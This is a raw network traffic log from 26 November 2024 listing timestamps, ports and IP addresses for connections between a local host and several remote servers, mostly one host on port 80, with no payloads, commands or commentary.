Nov 26, 2024 10:09:37.944663048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.944706917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.944731951 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.944765091 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.945430994 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.945456982 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.945482016 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.945497036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.946090937 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.946141958 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.946208000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.946244955 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.947149992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.947221041 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.947257042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.947294950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.948067904 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.948127985 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.948206902 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.948251963 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.948776960 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.948817968 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.948882103 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.948935986 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.949626923 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.949676991 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.949712992 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.949878931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.950525045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.950572014 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.950599909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.950647116 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.951292038 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.951339006 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.951411963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.951478004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.952208042 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:37.952265978 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:37.961539984 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:37.962460995 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:37.962491035 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:37.963267088 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:37.963273048 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.003552914 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.003639936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.003664970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.003814936 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.003958941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.004009962 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.004045963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.004087925 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.004515886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.004565954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.004571915 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.004609108 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.005378008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.005429029 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.005458117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.005475998 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.006200075 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.006253004 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.006302118 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.006494999 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.007159948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.007206917 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.007245064 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.007293940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.007951021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.007997036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.008049011 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.008088112 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.008708954 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.008758068 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.008826017 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.009085894 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.009654045 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.009699106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.009790897 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.009876013 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.010595083 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.010705948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.010739088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.010756969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.011419058 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.011477947 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.011511087 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.011549950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.012756109 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.012819052 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.012904882 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.012998104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.070950031 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.071001053 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.071037054 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.071062088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.071305037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.071352005 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.071441889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.071477890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.071990967 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.072040081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.072076082 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.072113037 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.072788000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.072853088 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.072894096 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.072930098 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.073704958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.073760033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.073791981 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.073823929 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.074687958 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.074734926 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.074812889 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.074851036 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.075577021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.075620890 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.075669050 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.075709105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.076456070 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.076504946 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.076570034 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.076606989 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.077264071 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.077306032 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.077341080 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.077544928 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.078015089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.078071117 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.078102112 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.078136921 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.078788996 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.078862906 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.090862036 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.091433048 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.091459990 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.092032909 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.092037916 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.116297960 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.124589920 CET	443	49866	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.124664068 CET	443	49866	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.124846935 CET	49866	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.125119925 CET	49866	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.125139952 CET	443	49866	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.125160933 CET	49866	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.125166893 CET	443	49866	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.129523039 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.129545927 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.129663944 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.129822016 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.129903078 CET	49875	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.129919052 CET	443	49875	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.130249023 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.130271912 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.130767107 CET	49869	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.130772114 CET	443	49869	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.236367941 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.285212040 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.285605907 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.285624027 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.285990953 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.286382914 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.286468029 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.286674976 CET	49871	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.327333927 CET	443	49871	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.335625887 CET	443	49867	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.335716009 CET	443	49867	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.335773945 CET	49867	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.337910891 CET	49867	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.337940931 CET	49867	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.337943077 CET	443	49867	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.337948084 CET	443	49867	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.342191935 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.342242002 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.342325926 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.342792988 CET	49876	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.342813969 CET	443	49876	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.411003113 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.411072969 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.411125898 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.414804935 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.414828062 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.414839983 CET	49868	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.414846897 CET	443	49868	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.418973923 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.418998957 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.419130087 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.419339895 CET	49877	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.419353008 CET	443	49877	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.499391079 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.500438929 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.500473022 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.500855923 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.502053022 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.502142906 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.502485037 CET	49872	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.530014992 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.530188084 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.530286074 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.530457020 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.530478001 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.530491114 CET	49870	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.530497074 CET	443	49870	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.547346115 CET	443	49872	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.553237915 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.553286076 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.553359985 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.553581953 CET	49878	443	192.168.2.5	13.107.246.63
Nov 26, 2024 10:09:38.553596973 CET	443	49878	13.107.246.63	192.168.2.5
Nov 26, 2024 10:09:38.555216074 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.555284977 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.555392027 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.555433035 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.555732965 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.555783033 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.555902004 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.555943012 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.556807995 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.556865931 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.556983948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.557028055 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.557601929 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.557663918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.557794094 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.557899952 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.558562040 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.558573961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.558639050 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.559556961 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.559627056 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.559757948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.559828043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.560286045 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.560575962 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.560595036 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.560631037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.560681105 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.560745955 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.560807943 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.561379910 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.561471939 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.561521053 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.561649084 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.561703920 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.562057018 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.562150955 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.562264919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.562282085 CET	49873	443	192.168.2.5	23.44.129.36
Nov 26, 2024 10:09:38.562292099 CET	443	49873	23.44.129.36	192.168.2.5
Nov 26, 2024 10:09:38.562319040 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.562362909 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.562414885 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.562937021 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.562987089 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.563019037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.563060045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.563606024 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.563674927 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.563680887 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.563719034 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.564235926 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.564284086 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.564287901 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.564429045 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.564888000 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.564941883 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.564959049 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.565056086 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.565488100 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.565551043 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.565576077 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.565620899 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.566369057 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.566433907 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.566510916 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.566586018 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.567029953 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.567079067 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.567100048 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.567343950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.567502975 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.567604065 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.567636013 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.567686081 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.568198919 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.568254948 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.568315983 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.568842888 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.568891048 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.568896055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.569021940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.569555044 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.569581985 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.569612026 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.569622993 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.570229053 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.570339918 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.570370913 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.570379972 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.571077108 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.571137905 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.571170092 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.571216106 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.571903944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.572021008 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.572062969 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.572740078 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.572808027 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.572865963 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.572911024 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.573678970 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.573729992 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.573869944 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.574071884 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.574502945 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.574553967 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.574564934 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.574621916 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.575273037 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.575341940 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.575408936 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.575454950 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.576126099 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.576174974 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.576231003 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.576273918 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.577007055 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.577078104 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.577125072 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.577224970 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.578144073 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.578195095 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.578226089 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.578274965 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.579070091 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.579143047 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.579171896 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.579212904 CET	49766	80	192.168.2.5	185.215.113.206
Nov 26, 2024 10:09:38.579866886 CET	80	49766	185.215.113.206	192.168.2.5
Nov 26, 2024 10:09:38.579917908 CET	49766	80	192.168.2.5	185.215.113.206
